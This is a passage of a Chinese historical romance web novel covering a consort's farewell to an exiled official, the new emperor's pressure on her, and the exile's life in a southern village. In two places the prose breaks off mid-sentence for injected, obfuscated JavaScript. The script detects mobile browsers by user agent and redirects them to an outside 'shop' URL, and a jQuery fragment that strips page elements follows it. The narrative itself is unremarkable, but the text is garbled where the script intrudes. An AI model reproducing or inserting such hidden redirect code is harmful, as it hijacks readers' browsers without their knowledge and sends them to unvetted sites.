李稷登基,乔家背后出了不少力,尤其是乔燕。李稷投桃报李,不仅许她一诺,更大力抬举乔家。 乔家之木,欣欣向荣,根深冠茂,足以荫庇子嗣后人,倒让乔燕肩头一轻。 倒是另有一事让乔燕好奇:“这个时辰,怕廷议刚过,你怎么打听到的?” 宜婵眼珠子游移,显出几分不自在,“春山做了司礼监的秉笔太监,在御前露脸,这些都是他悄悄告诉我的。” 乔燕唇畔含笑,神色洞明,早已猜到几分,问个明白不过是为了引出接下来的诫言:“若在圣上跟前得用,日后怕是不能像从前那样往来,行事更要避嫌。” “是。” 宜婵抬头望了眼,续道,“元日先帝驾崩,死刑暂缓,后来今上登基后赦天下,冯二郎改判流刑,今夜启程。” “……噢。流何地?” “崖州。” 一去一万里,千之千不还——说的便是崖州。崖州地处极南,瘴气丛生,自古以来便是有去无回的鬼门关。 这些日子乔燕已经很少想到冯矩,可每每念及,仍能生出绵长的疼痛。这个名字,几乎已成了心头一道粉饰太平的疮疡。 榻上美人双目失焦,眉心微颦。宜婵心里一叹,屏住呼吸,悄无声息地退了出去。 一直到午时,乔燕才再次出声唤人。 在宫女的服侍下用完午食,乔燕漱了口,蓦然道:“随我去正德殿。” 宜婵一惊,一时竟不知该应该劝。 正德殿乃李稷登基后处理公务、待见外臣之所,这几日事情不断,早朝后新帝几乎都要在正德殿待至深夜。宜婵心道乔燕已非从前身份,去外廷恐怕不好,但瞥见主子从容的神情,又把劝说的话咽了下去。 不知何时起,乔燕已然修炼至喜怒藏心,面不改色,一言一行都自有忖度,不容人置喙。 倒是乔燕看破她的迟疑,途中主动出声解释:“日中则昃,月盈则食,乔家如今百尺竿头,难免不会遭忌。我此去正德殿,去给圣上一个把柄。” 说完,才觉不解释便罢了,一解释反而有欲盖弥彰之嫌,不由缄言。 冠冕堂皇之下,是难以启齿的私心。 来到正德殿外,正有几位穿着红色补服的官员拾级而下,与乔燕的仪仗打了个照面。走在这些官员当中的一人正是乔湛,认出这是乔燕的仪仗,他眉头微皱,与身旁同僚告了别,便肃着脸走了过来。 乔燕本就心虚,瞧见他这幅兴师问罪的模样更是发怵,不得已喊停步舆,站到地面上。 那厢乔湛已经在三步之外停住,拱手作揖:“微臣见过太妃娘娘。” 乔燕小声哼哼:“二哥不必多礼。” 乔湛抬头,见她穿着常服来外廷,眉头不由蹙得更紧了:“娘娘为何来此?” “我……我来是为了……” “惠娘娘,来了为何不入啊,圣上等着您呢……哎哟!这不是乔大人吗,方才几位礼部的大人呈上为先帝甄选的谥号,要圣上做最后的裁定。惠娘娘在先帝生前与先帝朝夕相处,对先帝多有了解,当今圣上于是召了惠娘娘,想听听娘娘的意见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116316|193889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 唐直抒小跑着下来,不动声色地解了乔燕的围。倒是乔燕听了他的话,忍不住睁大眼睛看过去,唐直抒默默使了个眼色。 乔燕没看懂,但不妨碍她默默地认下唐直抒的话。 乔湛眉头稍平,只藏一抹忧心:“宫里不比他处,还请娘娘万事珍重。” 又道:“爹和四郎都想您了,下回过节,我们再入宫看您。” 乔燕心头一梗,乔湛若冷眼也罢了,这般关怀反而令她生出束手之感,对接下来要做的事也犹豫起来。 乔湛告退离去,乔燕心事重重地在唐直抒的引领下步上月台。 唐直抒这才解释道:“方才奴婢送几位礼部大人出门,恰好看到您的舆驾,禀至圣上,圣上要我接您进去,不必再通报。” “嗯……那你方才说的话……” “娘娘放心,陛下确实正要找您商讨谥号,算不得奴婢假传圣旨。” “那就好。” 说着走到了门口,唐直抒弓腰:“您请进,圣上在里头等您,奴婢就不进去了。” 乔燕入内后,唐直抒用眼神使退殿内伺候的小太监,关好门,自己亲自守在门外边。 正德殿临时修葺过,与文华殿同样规格,正首摆着宝座。此刻李稷正坐在西侧间的御案后,跟前垒着几摞厚厚的公文,左手边放着天青茶盏,杯中茶水已干,只留浅黄色的茶渍,离得老远都能闻到苦浓的茶味。 他眉头紧锁,似乎遇到了不愉的事,眼底乌青,脸色比前一日要蜡黄,纵使浓茶提神,也掩不住满脸疲惫。 看到乔燕,李稷似乎精神了些许,眉头微展,搁下手里的公文,苦笑一声,道:“不必多礼,快快请起。娘娘来的正好,礼部为皇考选了五个谥号,朕正拿不定主意,您和皇考朝夕相处,对他再熟悉不过,可否参详一二。” 语罢,便把题本递了过来。 乔燕本来还在迟疑,自文景帝去后,她就打定主意不再参与这些外廷的事,但看李稷已经递了过来,想了想,还是接过。 待看清五个谥号,不由一默。 许是因为最后在文景帝手里死了两位泰斗,礼部对先帝积怨颇深,选的五个谥号竟皆下谥。 文景帝一心信道,搬到西苑后更是再未开过大朝会,每逢有事,只召六部堂官并内阁要员、司礼监太监于御前议事。礼部便以此攻讦,取“携”、“灵”、“荒”为谥,以意怠政不勤。 此外,另有伤人蔽贤之“缪”,隐喻先帝杀冯、束两位阁老。妇言是用之“惑”,暗诋先帝放任乔燕一介妇人参与朝政之举。 乔燕看得心绪难平。 平心而论,文景帝待她无可指摘,可抛去二人的半年之谊,文景帝执政期间确实无功绩可诵。 心中情绪一翻涌,乔燕便知自己的立场已然算不得公正,于是将题本推了回去。 “谥号如何,岂容我一介后宫妇孺置喙,”一顿,还是忍不住道,“圣上若是对这些都不满意,大可与礼部再行商讨。” 李稷揉了揉眉心,抱怨道:“皇考在位期间,虽未有政绩,也犯下许多过错,但纵观这四十年,百姓生活□□,社稷无恙,昔年由内阁牵头改革,皇考也允了,虽后来受阻未功……遇上天灾,更是尽力救治。小错虽有,大事上却能站得住是非。何至于用下谥。” 下谥之君,或暴戾无度、或去国避位、或凉德薄礼,哪一个没有留下遗臭千古的骂名?这么一对比,给文景帝取用下谥确实有挟私报复之意。 李稷所说倒是和乔燕所想相同,于是附和了一句。李稷这几日听多了逆耳之言,难得听一句顺心的话,不由松了眉头,“那这选谥一事,回头我还要再和礼部商讨。” 收起题本,李稷问:“娘娘特地来寻我所为何事?” 乔燕跪地:“您日前所说,允我一诺,不知还作不作数。” 李稷眉头一挑,唇角笑意氤氲,似是因她此举心情大好,眼神明亮地望过来。 “昨天还百般推辞,才过去一天,就想好要什么了?你尽管说,但凡朕能做到,必不拒绝。” “妾身想,在冯矩临走前,见他一面。” 34. 见面 秋三水盘膝在牢间中央的空地坐下,揭开食盒盖子,一样一样地往外面拿热腾腾的菜。 “红烧大草鱼,卤猪头,酱蹄膀……还有这个,这个你肯定喜欢——” 男人从食盒最下层变戏法似的掏出一个酒坛,咧嘴一笑:“二十年的剑南烧春,我托商号从蜀地带回来的,保证正宗。尝尝?” 隔壁牢间何夫人带了一双儿女前来送行。何大人看到许久不见的孩子,一不嘘寒问暖,二不悉心叮咛,上来便考教功课,如今隔壁正传来少年郎磕磕绊绊的背书声。 冯矩就着满耳朵的圣贤文章,在秋三水对面席地坐下,修正衣摆,湛然生笑。 “二十年的剑南烧春,放在寻常人家已算的上传家宝贝,今日托大人的福,能喝上一口,便也不枉此生了。” 原瞧他坐于陋室还不忘整衣,秋三水本觉有几分做作,然而见他一笑,生风流之姿,霎时便懂了什么叫蓬荜生辉。 秋三水忍不住瞅着他啧啧两声。 元宵之夜乃团圆之时,秋三水本和卫所的几个光棍兄弟约好一起去外面酒楼吃酒喝肉,临行前经过诏狱大门,忽然便想起了里头关着的冯矩,无亲无友,伶仃一人,再晚些时候就要启程去崖州。说不清是同情还是惋惜,秋三水临时改了主意,带上酒菜来给冯矩送行。 拔开酒栓,秋三水先捧着嗅了一大口,陶醉道:“果真好酒!” 说着,斟满两个土陶碗。冯矩双手端起面前那个,举到身前,垂眼看着清冽酒水。 水面上映出一张陌生的面孔。 这张面孔瘦得脱相,面目清癯,下巴上生着胡茬。冯矩看着他,他便也回望冯矩。四目相对,冯矩微怔,倒影亦怔,冯矩惘然,倒影同样露出怅惘的神色。 冯矩一笑,倒影便也一笑。 一刹那,如露如幻,如昨梦前尘,冯矩在那双泛着水泽温润的眼里看到了风劈霜练,千帆过尽,世事洞明。 “多谢。” 这一句谢也不知是向谁道的。冯矩仰头将陈酿一口干下。 秋三水一怔,也不多问,随之举碗。 就这么你来我往地喝了一整坛酒,话没说几句,菜也没动几口。 空肚灌酒,便易生醉,秋三水最后晃了晃酒坛,看着跟前的冯矩,忽而心里一动,说道:“冯兄,我家里尚有一及笄之龄的小妹,未曾婚配,你……” 冯矩讶然瞠目。秋三水对上他眼睛,登时打了一个激灵,酒醒了一半,想到自己若就这么把小妹许出去,家里父母恐怕能生吞了自己。 他正要说两句话圆回来,恰好来了个同僚解围。 “秋老哥,”来人看到秋三水,面露诧异,抱拳招呼,“宫里有密旨,这人我们要带走,秋老哥这酒怕喝不成了。” 眼见已赦死罪,就要流放万里之地,如何在这时又生密旨? 秋三水恐生事端,担忧不已,脱口问道:“什么事?” 锦衣卫规矩,凡事不可多问,不可多言。秋三水关心则乱,已算犯规,来人眉头一皱,正要说什么,便听一道温和的声音道:“不妨事,酒已经喝完了。” 语毕,铁链作响,冯矩缓缓起身,向秋三水一揖,来到门边,任由两名校尉把他双手也上了铁拷,矮身从门洞踱了出去。 是日上元,是夜雪停,风吹云散,竟是个少见的晴夜。街上厚雪铲至道旁,屋顶上仍是白雪皑皑,映着一轮满月。 这样好的意象。仿若昭示着新的开始,苦寒终将过去,百姓们精神振奋,自发走出家门。虽逢国丧,不可大办,于是街上少了历年工部扎的大型花灯,但王朝的根基永远是渺如尘埃韧如草芥的百姓。 他们呼朋引伴,携妻牵子,手上提着或自家做的,或街上买的灯笼,将长街点燃如一条冉冉新生的火龙。 火龙的“尾巴”处,灯火阑珊,一辆马车静静停在墙角。 这里是一座茶楼的后门,今夜茶楼闭门谢客,茶博士和来去的小二都回家过节去了,偌大的楼里唯有第三层的临水雅间点着烛灯,门外锦衣卫指挥使稽川亲自领人侍刀而立,戒备森严。 除了这些锦衣卫,还有一双佩环穿锦的婢女,一位着褐色棉衣的年轻男人。男人细眼淡眉,面白无须,微微佝偻的背破坏了一身斯文。他正袖着双手,在楼梯口来回慢慢踱步。 没等多久,有人自下面踏阶而上,白面男人眼睛一亮,来到紧闭的门前,捏着细柔的嗓音说道:“娘娘,人到了。” “请他进来。” 这道柔婉的声音响起时,冯矩正走上三楼,平稳的脚步一滞,生了根般难以向前。 太监于海一请再请,他才生涩地来到门前。 房门洞开,室内檀香袅袅,茶韵清然,临窗对席的中央挂着一道竹格栅屏,隐约映出女子端庄的剪影。天边传来更鼓钟罄,渺渺如一场古旧的梦。 “你们去二楼。”帘后女子淡声道。 这道声音有着熟悉的音色,和陌生的威严。声音入耳,非常没有由来的,一种难以言说的沉重攫住冯矩的心脏。 对于她的吩咐,稽川抱拳行礼,无有二话,人群片刻之间便如潮水退去。 门外只剩冯矩一人。 他立在门槛的这一边,自幼习受的圣贤礼教、法度秩序、世俗伦常都在告诫他不可越雷池。 他有无数个理由拒绝这场邀约,掉头就走。 然而,然而然而,他在门外只立了须臾,便不言语地踏过门槛,转过身,带上两扇门,隔绝出一方幽寂天地。 离竹帘三步处,冯矩掸衣而跪,“罪臣拜见太妃娘娘。” 乔燕回道:“何必多礼呢,二郎,请坐吧。” “何必”二字简短,却莫名地触动了某根心弦。就好似他们本该亲昵,无须礼节。 冯矩垂眼,暗嘲自己何时变得如此敏感伤怀,顺从地与她对面而坐。 帘子那头传来汩汩声,须臾,帘子与桌面的空隙中推来一只茶盏,和半截秀长的手指。手指转瞬抽回,冯矩这才伸手捏住。 指腹下瓷器犹温,端至唇边,茶香中似乎能隐约闻到一股极淡的女儿香。 “圣人登基,乔家出了不少力,圣人要赏我,问我想要什么。” 乔燕收回注视着帘上剪影的目光,微抬起手,有些出神地端详着。 “我想要什么呢……我的这双手,从未淘米浣衣,出入有乘舆,鞋子穿半载,还是半新的……我的这半生,虽有不顺意,却从不缺富贵荣华。也曾生死之间,步步为营,但命运终归厚我。这般想想,已是十分知足……所以圣人问我想要什么的时候,我竟只剩下了一个不该有的念头。” 她说“不该”,却还是来了。他素来守礼,亦坐在了此处。既如此,有些话又何必道明。 想到这里,乔燕止住。抿一口茶,转开话题:“今夜何时启程?” “从娘娘这里离开后,便走了。” 冯矩的言语温和恭顺,句句敬称,乔燕竟不能从中听出半点情绪。这样一比对,倒衬得她方才絮絮叨叨,展露心绪,落了下风。 乔燕喝了一口茶,才压住心里莫名的不甘。 乔燕翻手给自己斟满茶,透过竹帘见到对面桌上茶水未动,便放下茶壶,举起瓷杯。 “这一杯以茶代酒,送你一程。待你从崖州回来,再请你喝真正的好酒。” 冯矩凝视着瓷盏中的琼液,因这句话而微微出神。 崖州又名鬼门关,自古流放鲜有人还。他真的还能喝到她的那杯酒吗? 那头乔燕一口饮尽,问他:“怎么不喝?” 冯矩这才回神,举杯喝下,回味片刻,低低笑道:“娘娘这茶……” “怎么?” “好像煮老了。” 乔燕一怔:“是么?没有啊。” 冯矩莞尔。茶既然未老,为何他喝出满嘴的苦味? 从前只道,大丈夫无不可与人言,天之荡荡,人之磊磊。然这天翻地覆的半载春秋,终是教他知道了,人有莫辩之屈,亦有难言之辞。 乔燕伸手推开横窗。 这里地段金贵,街边没有小摊, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116317|193889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往来行人鲜见。他们正在三楼,远眺可以将大半个坊市收入视野,不远处灯火如昼,行人如织,自有一番天差地别的喧嚣热潮。 “国丧期间,不曾想也这么热闹。只是少了工部扎的花灯和焰火,还是比往年要显出几分冷清。” 帘子那头,冯矩也微微侧首,从她推开的窗户往外看去。 “是啊。” 又是这么轻巧平和的回答。 乔燕捏着瓷盏的手指因为用力而发青白,说道:“记得去年元宵,你还送了我一盏走马灯。” “娘娘记错了,那是工部扎的灯,乔四郎送的。” 乔燕怒火中烧。 他今夜说的话,他轻松自若的态度,他温和顺从的语气,真是哪哪都令她不如意! 乔燕蓦地一把掀起竹帘,却不想恰撞入一双专注描摹的眼,那双眼里的眷恋几乎要令人溺毙。她霎时僵住了,满腔怒火来的本就突兀,散的更是莫名。 “娘娘……” 冯矩没料到她会如此,有一刹那的慌乱,很快垂下眼睛。 乔燕哀求:“别这么喊我!今夜就像从前一样,不行吗?” 冯矩闭了闭眼,无声一叹,无法拒绝。他张了张嘴,感觉自己像干涸之鱼,嘶哑得几乎无法发出声音:“……五娘。” “看着我。” 略一迟疑,冯矩听话地抬起眼,眼眸润泽如山间静水,方才惊鸿之间的贪恋好似只是她的一场错觉。 他如此和顺,仍然温柔,但这种温柔不是乔燕想要的。她被心里的委屈压得难以成言,喉头发堵,霍然起身,绕过凭几,矮身跪到冯矩身前。这个姿势让他们的距离无限贴近,冯矩下意识以手撑地,往后躲去,背部完全贴到了窗沿上。 “五……” 他脱口而出的制止在触及她红透的眼睛后终于缄至无声。 她凶狠地盯着他,眼中衔恨;她哀哀地看着他,似带着恳求。撑在地上的手攥紧成拳,无声的对峙中,他似乎又闻到了那股幽幽的女儿香。 他喉头滚了一遭,轻握住她的肩头。 “唉……五娘啊……” 乔燕眼里蓄着的泪水终于滚落而下,直到此刻,她都分不清自己的情绪在哪一刹崩溃的。 她呜鸣着仰首吻了上去。 冯矩静止一瞬,慢慢阖上眼,理智飞成劫灰,肩头的手滑到后颈,加深了这个无望的吻。 …… 乔燕拉开门,原本听她吩咐去下面一层的稽川和于海竟全都站在楼梯口处,气氛有些凝滞。乔燕心头一跳,只见人群保持着低头的姿势,缓缓让出一个身位。 身穿常服的李稷竟站在那里。 乔燕一惊,便要下跪行礼,李稷抬手止住,解释道:“朕不太放心,就来看看。” 说着,他目光落在乔燕身上,见她嘴唇红润,脸颊飞霞,眼眸顿时一沉。 冯矩走了出来,跪地道:“罪臣拜见圣人。” 李稷不理睬,只看着乔燕:“惠嫔叙完旧了吗?” 文景帝虽然已经驾崩,但一应新旧接替要些时日,宫中封号未定,她暂且还是惠嫔。 乔燕唯有点头:“是。今夜今时,都是君恩。” 昏暗处,李稷盯着她,目光有些奇特。 “不必言谢,这是我答应你的。” 说完,看了眼稽川,稽川意会,挥挥手,两名下属拿着镣铐去往冯矩身边。冯矩还跪在地上,顺从地被带上枷锁。 乔燕看得眼睛刺痛,忍不住别过头。恰在这时,李稷朝她伸出手:“叙完旧就该回去了。” 乔燕盯着那只手,一时僵立。她不动,李稷便维持姿势镇定地站着,直到她顺从地走了过去,站到他的侧后方,方神情自若地收手入袖,吩咐道:“送他去南门,刑部的人等着了。” 稽川听令,指挥下属押送冯矩。冯矩朝李稷的方向磕了个头,才站起了身,跟着锦衣卫朝楼下走去。经过李稷和乔燕的身边时,李稷忽然沉声开口:“冯子规,这是你欠老师的。朕欠你的,等你回来还。” 35. 小住 元月十七,先帝葬,抬柩入皇陵,离京三百里,随行之人共计约五千。百官着缞服于居庸关送行,哭至近郊。军民耆老沿途设祭。逾十日。 元月二十八,封墓,取庙号“愍宗”,天赐尊谥成武夷皇帝。在国逢难曰愍,安民平治曰成,威彊敌德曰武,克杀秉政曰夷。后人多称其“愍皇帝”。 元月二十九,行题主礼,写神牌,李稷率众人上香献经。 二月初一,李稷护神牌回京。 二月十一,请神牌入几筵殿。翌日,百官于几筵殿行奉慰礼。后供神牌入太庙。自是日起,国行大丧,除皇城宫中仍要守孝三年,奉先帝遗诏,以日易月,二十七日易服。 二月十四,李稷改年号启正,赦天下。颁布诏书,中外咸闻。 尊先帝遗旨,封皇七弟李琢亳王,赐封地亳州,因其年幼,仍居宫城。尊皇后为昭穆皇太后。孙贵人乃亳王生母,封亳王太妃。赐惠嫔乔氏封号“禧”,是为惠禧太妃。其余没有子嗣的妃嫔一律封太妃,居西六宫。 诸事妥当之时,漫长的寒冬过去,已是柳枝青绿的三月。 去岁经历了大齐立国以来最漫长寒冷的冬天,时值朝局动荡,百姓过得尤为凄苦,饿死冻死者难以数计。李稷即位后立马费心于此事,想拨款赈灾,又不得不面对空荡荡的国库,昔年愍宗常自掏腰包补国库,如今皇帝内帑也挤不出钱了。 巧妇难为无米之炊,李稷不得不认清现实,在赈灾济民之前须得着手整顿财政状况,忙得是焦头烂额,恨不能食宿皆毕于前朝,更鲜有踏足后宫的时候。如此时日飞逝,就到了秋天。 这天下午,批完奏章,李稷揣着信,摆驾西六宫。 鎏金的“享纯宫”三字匾额下,宫人一字排开,恭迎圣上。 李稷抬手止住众人行礼,不见外地直入门户,熟门熟路地到西侧花厅坐下,从袖子里掏出那封不远万里而来的公文,放到桌上,拎起桌上茶壶,自己给自己倒了杯冷水,就这么一口灌了下去。 “冯子规两个月前就入了崖州境,这是羁送差役的例行文书。知道你想看,我就拿过来了。” 乔燕没有碰公文,示意宫人去换上热水,反是说道:“这凉水喝了对身体不好,听唐公公说起,您近来宵衣旰食,日感疲劳,医官问诊过几次,更不能食这些生冷之物。” 李稷神色变得柔和,笑笑:“外头秋老虎晒得很,这一路走来有些热了。”又道:“我还有事,喝杯水就走,这公文放你这,看完着人送去正德殿就好。” 乔燕垂着头:“衙门公文,我看像什么话。至于冯矩,那日我蒙您的恩典,和他已经做了了断,圣上日后不要再带这些来了。” 李稷动作一顿,随后把公文如来时一般揣回怀里:“既然已经了断,那依你便是。” 又半月,李稷再访,这回带来的是一则喜讯。 “今年恩科刚刚放榜,你家四郎居然高中解元,明日在栖园有一场鹿鸣宴,解元将在宴会上跳魁星舞,热闹的很。” 说到这里,李稷从茶碗里抬起头,动作自然地看一眼乔燕脸色:“你素日在宫中藉藉无聊,又久不见亲眷,若是想去鹿鸣宴凑凑热闹,朕这便安排。保管不叫旁人知道你去了,又能让你见到乔四。” 话说到这个份上,可谓熨帖,然而乔燕却婉言谢绝。李稷被这样落面子,却不见丝毫羞恼,低头喝尽最后一口茶,含笑道:“还是太妃这里的茶好喝,也不知怎么煮的,解渴生津,就这么会闲坐的工夫,一日的疲累便都没了。” 乔燕回道:“不过是下头奴婢得闲用菊花和着一些香叶琢磨出的小把戏,圣上若喜欢,让她们把方子送去,让您宫里的人煮给您喝。” 李稷说道:“那就多谢太妃了。但我宫里头的太监手粗,做不来这些精细活,怕是一样的方子煮出来的味道也不同,日后想喝了,还是要来这。” 这话语调平常,却听得人心头冰冷。乔燕难得浮上些压不住的焦躁,起身跪地:“圣上……” 才开了个头,就被李稷打断:“朕那儿还有很多事,这就回了,有什么话,改日再说吧。” 李稷走后,被挥退的奴婢们才敢入内。这一个半月,新帝不去后宫,反而频频来访享纯宫,虽说每次都只小坐片刻,说两句话,四周又是门户大敞,看似坦坦荡荡,但只说新皇帝私见先帝太妃这举动就已不算寻常。 乔燕还跪着,宜婵走到她身边,忧心忡忡地开口:“娘娘……” 乔燕顺着力道起身,轻捏她的手掌,止住未尽之言,若无其事地吩咐:“去把我看了一半的话本子拿过来,这花厅的日光倒好,你们泡的菊花茶又爽口,也难怪圣上爱在这小坐。那菊花茶的方子是黎月琢磨出来的吧?让她这就去一趟皇后处,把这方子教给景仁宫,日日给圣上煮一壶,想来圣上就无须再到我这处来了。” 黎月听命而去。不多时,一个小宫女拿来话本,蓝皮上用墨字写着《西京纪事》字样。宫里头流行的话本,既不能像诗文一般晦涩奥秘,又不能如市井流行一样腌臜,可供选择的遂少了许多。乔燕无事便读,几个册子都被翻得卷了,她又想出新玩法,招来几个垂髫丫头,给她们念话本故事,看她们起起落落的神情倒也得趣。 饶是如此,这些月前也都念完了。 乔燕拿到这本《西京纪事》,随手翻开一页,看到主人公张生入了贡院,便知道他马上就要落榜回乡,娶妻再考。再一翻,张生金榜题名,脑海里立马浮现被榜下捉婿的剧情……这样看故事实在无趣……她不知不觉停下手头的动作,怔怔地看着纸面出神。 她才二十有三,可一生已经望得到头了。 又过了两日,下了一场秋雨,气温一下子冷了下去,前一日还穿着纱衣,后一日就要起炉取暖了。 这场初寒到的过于匆忙,宫里很多妃子因此染了寒症,西六宫常年淡于宫人视野之外,闭门不出的太妃们多有岁长体弱者,这一病竟直接就殁了。倒是享纯宫有唐直抒亲自送来的驱寒药草,上下喝了两天,一个都没病倒。乔燕让人把药草全都搓成避寒药丸,挨个宫殿送去,还让人给七皇子李琢那儿也送了份。 翌日李琢过来道谢,说到一半时,太监于海来报,圣驾就将来了。 享纯宫上下口风严,再加上宫人对皇帝的行迹不敢置喙,是以未曾传到过李琢耳里。李琢此番骤然闻得,大为不解,“皇兄为何会来这儿?” 乔燕应付道:“圣上想必是来找殿下你的。” 李琢一想也是,不知道皇帝有什么急事竟来这里找他,于是匆匆告辞,去外面遇他的皇兄了。 等他离开,乔燕紧绷的肩膀微松,瞧着竟有些萧条。她慢慢步到庭院里。此时秋阳明爽,天空澄碧,一只长尾鸟儿落在光秃秃的高枝上,一遍晒着太阳,一边梳理羽毛。乔燕忽而捡起石头,用力掷去,那只鸟儿惊啼一声,展翅飞向高空,很快消失在视野里。 宫女们目睹了全 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乔燕蹲下身,平视着两名忠心耿耿的宫女,想说什么,却被宜婵一把握住小臂。宜婵拼命摇头,泪水汹涌而出,喉咙里像肿了一块,一句话也说不出。乔燕任她哭了一会儿,方叹了口气:“太后风寒未愈,身边还是少了贴心人侍疾,我想去太后宫里小住。太后信佛,她们年纪小,怕是受不住斋戒的清苦,至于你们……想跟就跟着吧。” 娘娘与太后素来交情平平,为何突然要去太后宫里小住?宜婵还想再问,蓦的思及启正皇帝帝三番五次造访之事,霎时心如明镜,一片雪亮。 这时再看她家娘娘,细瘦的影子拖在地上,似也拖出几分受命运裹挟的无力佝偻来。 太后说是风寒,其实不过小恙,用不上人侍疾。但乔燕道出来意,太后也不知是否风闻了什么,只字未问,让人收拾出偏殿,默许了她的小住。 于是,乔燕寅时起去佛堂陪太后念经,卯时用膳,之后便回房铺纸抄经。三日过去抄完了一份《金刚经》,在翌日清晨奉至佛前,太后瞧见都愣了一瞬。 “惠禧太妃有心了。” 太后翻着经书,只见纸上新墨浓黑,行句齐整,无一添改,无一错漏,半晌发出一声感慨。 双手捧着经文,摆放于供桌上,太后点燃三柱香,插入香炉,双手合十,无声地念了一段经文,这才缓缓地道:“昨日皇帝来过,我陪着说了会话,也不知到底有什么事,坐了小会儿就走了。” 相安无事三日,乔燕本以为此事已成心照不宣,不想太后竟忽然提及,不由心头一紧,垂眸道:“圣上在您膝下长大,不是母子胜似母子,虽位极在您面前始终还是晚辈,他又孝顺,再忙也要来寻您话人伦的。” 太后道:“他还问起了你。” 乔燕扑通跪在地上,双手绞紧,抬头时已是泪流满面。 “娘娘救我。” 太后叹了口气,屈膝扶人。 “先帝最疼爱你,就连临驾鹤前最放心不下的也是你。我与他夫妻一场,休戚与共,既活在他身后,总要替他顾着你。你既有这份心,两年后的大祥之时,先帝祭日,尚需许多佛经,不如都交给你罢。只你那宫殿离得远,来去多有不便,我这里你也住了三天,若是习惯,就姑且住下,怎么样?” “谢娘娘慈恩,”乔燕顺着她的力道起身,感激地道,“叨扰您两年,妾实在心里有愧,日后若有能报答您的事,妾万死不辞。” 36. 渔村 寒来暑往,两年转瞬便过。 乡间瘦路上,一名约莫十二三岁,头梳双髻的少女手上拎着用稻草串的兔肉,哼着小曲,踩着雀步朝东边走去。眼见出了村子,她隔老远便用乡音甚浓的官话喊道:“冯大哥!我来给你送野兔子!” 田地里站起一个瘦高的年轻男人,头发用布巾裹着,脚陷在潮湿的土壤里,手上裹了厚厚的青泥。 少女举起手臂,这才叫人看清她手上还拎着半只剥好的野兔,“你看,这是我阿翁在地里抓的,这一半给你吃,做先前帮忙收稻的答谢。还要谢你教我和我阿弟官话,教我们识字。” 说话间,走得近了,男人瘦削的五官愈发清晰。因着大病方愈,他的嘴唇有些干裂,不见血色,眼窝深陷,一双眼却明亮有神。 男人见风咳了两声,说道:“我一个人也吃不下,你拿回去吧,给你阿弟补补身子。” 少女就知道他会拒绝,忙按阿翁吩咐的说道:“这个给你吃,我们家还要请你去地里看看哩。” “地里怎么了?” “还不是十一月的时候种的稻子,都按你说的弄的,本来都好,昨天下了一场急雨,忽然黄了一片,还长了一茬野草,我们不敢擅动,请你去看看。” “好,我这就去看看。” 冯矩说着,行到不远的河边净了手。少女跟上,抬头看着天色,有些迟疑。她出门前太阳还挂在西天,不想才一会儿工夫,就起了厚厚的鳞片样子的云,俗话说:鱼鳞云,不雨也风颠。恐怕是要下雨,去他们家地里来不及了。 这么想着,少女就说了出来。冯矩把湿漉漉的手在腰间汗巾上擦干,抬头望了眼,只见满天云大片如鳞,渐合成浓阴,不由笑了起来:小姑娘事农日头短,有些天时还不会分辨。 “不碍事,这是老鲤斑云,不会下雨。” 男人平素虽温和,却鲜少有笑的时候,这一笑起来,眉头舒展,眼角露了两道浅细的皱纹,每一道都似风霜写就的故事。偏眼眸润泽如洗,盈着笑意,清亮宛然。 少女呆呆地看着,感觉被路过的风轻柔地撞了一下,说出口的话都变结巴了:“你,你……” 冯矩耐心倾听,不想少女忽然不肯说了,一扭头朝着远处的田地跑了过去。冯矩吓了一跳,脱口喊道:“禾五娘,小心点!” 替禾家看完地里的情况,回到村子已经快要入夜。今夜有云无月,这里的人家点不起油灯,回去一路愈发黝黑,冯矩让禾五娘牵着他衣角,领着人摸黑回村,幸好天还没黑透,眼睛尚能视物,路不长,很快就到了村头,遇上两道人影提着两盏风灯迎面走过来。 来的两个人,其中一个是禾五娘的阿翁。两年前的雪灾饿死了禾五娘的双亲和两个哥哥,姐姐嫁出去换了口粮,剩下的祖孙相依为命,感情十分深厚。 这不,眼见家里唯一的小娘子天黑了还没回,禾家阿翁放心不下,借了灯出村接人。 “阿翁!” 看到亲人,换到往常,禾五娘早就跑了过去,今日也不知是不是因为天黑吓破了胆,竟一动不动,直到冯矩温声道了句“快家去吧”,她还依依不舍地站着。 “冯,冯大哥……” “嗯?” 禾五娘一鼓作气问道:“你今年多大啦?” 冯矩叹了口气,答道:“不到而立。” “而立?而立是多大?” “三十。” “那你才二十多嘛,我听阿翁说,你才二十六,是不是?” “是。我也听你阿翁说过,你今年才十二,我比你大一轮有余。” 禾五娘咬唇,不服道:“那怎么了,村里老夫少妻多的是,你未娶……” “我已娶妻。”冯矩打断她。 这时,见他俩站在村口久久不动,来接人的禾家阿翁和另一人已经走了过来。禾家阿翁耳朵不好,没听到两人对话,倒是另一个人,惊诧地看向冯矩。 禾五娘眼睛唰的一下便红了。 “你骗人!我没见过你有妻子!她是不是已经死了?我可以给你做填……” 还没说完,禾家阿翁终于听明白是怎么个事了,铁青着脸,举起拐杖啪的一下就抽了下来。 “说的什么浑话!这些话也是你个姑娘家家能说的?冯郎君,对不住啊,我这孙女年纪小,说的话你别放在心上。” “不碍事,”冯矩直起身,慢慢地道,“我没有骗人,五娘,跟你阿翁家去吧。” 